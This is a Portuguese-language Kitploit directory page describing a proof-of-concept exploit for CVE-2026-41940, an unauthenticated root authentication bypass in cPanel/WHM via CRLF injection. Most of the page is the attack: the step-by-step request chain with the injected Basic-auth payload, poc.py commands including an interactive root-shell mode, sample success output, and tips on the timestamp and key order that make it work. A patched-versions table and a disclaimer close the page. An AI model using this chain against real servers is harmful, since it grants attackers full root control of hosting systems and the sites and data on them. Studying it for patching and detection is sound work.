Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CPANEL-CVE-2026-41940 — Prova de conceito de exploit para CVE-2026-41940, uma bypass crítica de autenticação no cPanel/WHM via injeção CRLF, permitindo acesso root não autenticado e shell interativo. | Kitploit
Ferramentas/GitHubGitHub/0xabdoulaye/cpanel-cve-2026-41940
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHub0xabdoulaye/cpanel-cve-2026-41940

CPANEL-CVE-2026-41940

Prova de conceito de exploit para CVE-2026-41940, uma bypass crítica de autenticação no cPanel/WHM via injeção CRLF, permitindo acesso root não autenticado e shell interativo.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
21há 3 mesesAinda não revisado

CVE-2026-41940 — cPanel/WHM Bypass de Autenticação

Autor: SilySec
Pesquisa original: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Severidade: Crítica (CVSS 9.8)
Tipo: Injeção CRLF → Bypass de autenticação → Shell root


Descrição

CVE-2026-41940 é uma vulnerabilidade crítica no cPanel/WHM que permite a um atacante não autenticado obter acesso root completo via injeção CRLF no gerenciador de autenticação Basic do cpsrvd.

A falha combina três fraquezas:

  1. Injeção CRLF não filtrada — a função saveSession() em Cpanel/Session.pm não sanitiza os caracteres \r\n antes da gravação em disco quando a chave <ob> está ausente do cookie.
  2. Codificador desativado — sem o segmento <obHEX> no cookie de sessão, o codificador por sessão não é ativado, deixando os bytes CRLF gravados em texto puro no arquivo de sessão.
  3. Recarga do cache — Cpanel::Session::Modify::save() relê o arquivo bruto e promove as chaves CRLF injetadas no cache JSON, tornando a sessão totalmente autenticada.

Versões afetadas


Cadeia de exploração

root@kitploit:~
POST /login/?login_only=1          [senha incorreta]
  └─► cookie: whostmgrsession=:ID,<obHEX>

Remover ,<obHEX>  →  :ID          [desativa o codificador]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd grava os bytes CRLF brutos no arquivo de sessão

GET /scripts2/listaccts + Cookie: :ID   [sem token de segurança]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► cache JSON reconstruído com hasroot=1, tfa_verified=1

→ Sessão autenticada como root

Uso

Pré-requisitos

root@kitploit:~
pip install requests
# Para o modo --terminal (opcional):
pip install paramiko

Verificação da vulnerabilidade

root@kitploit:~
python3 poc.py --target https://ALVO:2087

Obter um shell root interativo

root@kitploit:~
python3 poc.py --target https://ALVO:2087 --terminal

Forçar o hostname canônico

root@kitploit:~
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemplo.com

Exemplo de saída

root@kitploit:~
[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.exemplo.com

[1/4] minting preauth session ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] injecting CRLF payload ...
       307 → leaked token = /cpsess1234567890

[3/4] triggering cache propagation ...
       do_token_denied → Cpanel::Session::Modify::save() fired

[4/4] verifying root access ...

  ✔  AUTH BYPASS CONFIRMED
     cPanel version : 11.136.0.5
     cookie         : whostmgrsession=%3AAbCdEfGh...
     WHM URL        : https://1.2.3.4:2087/cpsess1234567890/

Pontos técnicos importantes

  • O hostname canônico deve ser usado no header Host (não o IP) — o cpsrvd gerencia as sessões de forma diferente dependendo do hostname
  • O timestamp no payload deve ser 9999999999 (fixo, futuro distante) — um timestamp atual falha
  • A ordem das chaves no payload injetado é importante: successful_internal_auth_with_timestamp deve vir primeiro

Correção

O patch move a chamada de filter_sessiondata() para dentro de saveSession() e adiciona codificação condicional quando a chave <ob> está ausente, impedindo qualquer gravação em texto puro.

Atualize o cPanel/WHM imediatamente para as versões corrigidas listadas acima.


Aviso

Esta ferramenta é fornecida apenas para fins de pesquisa e teste interno. Qualquer uso em sistemas sem autorização explícita é ilegal. A SilySec se isenta de qualquer responsabilidade em caso de uso indevido.

Baixar ferramenta
BranchÚltima versão vulnerávelVersão corrigida
110.0.x11.110.0.9611.110.0.97
118.0.x11.118.0.6211.118.0.63
126.0.x11.126.0.5311.126.0.54
132.0.x11.132.0.2811.132.0.29
134.0.x11.134.0.1911.134.0.20
136.0.x11.136.0.511.136.0.6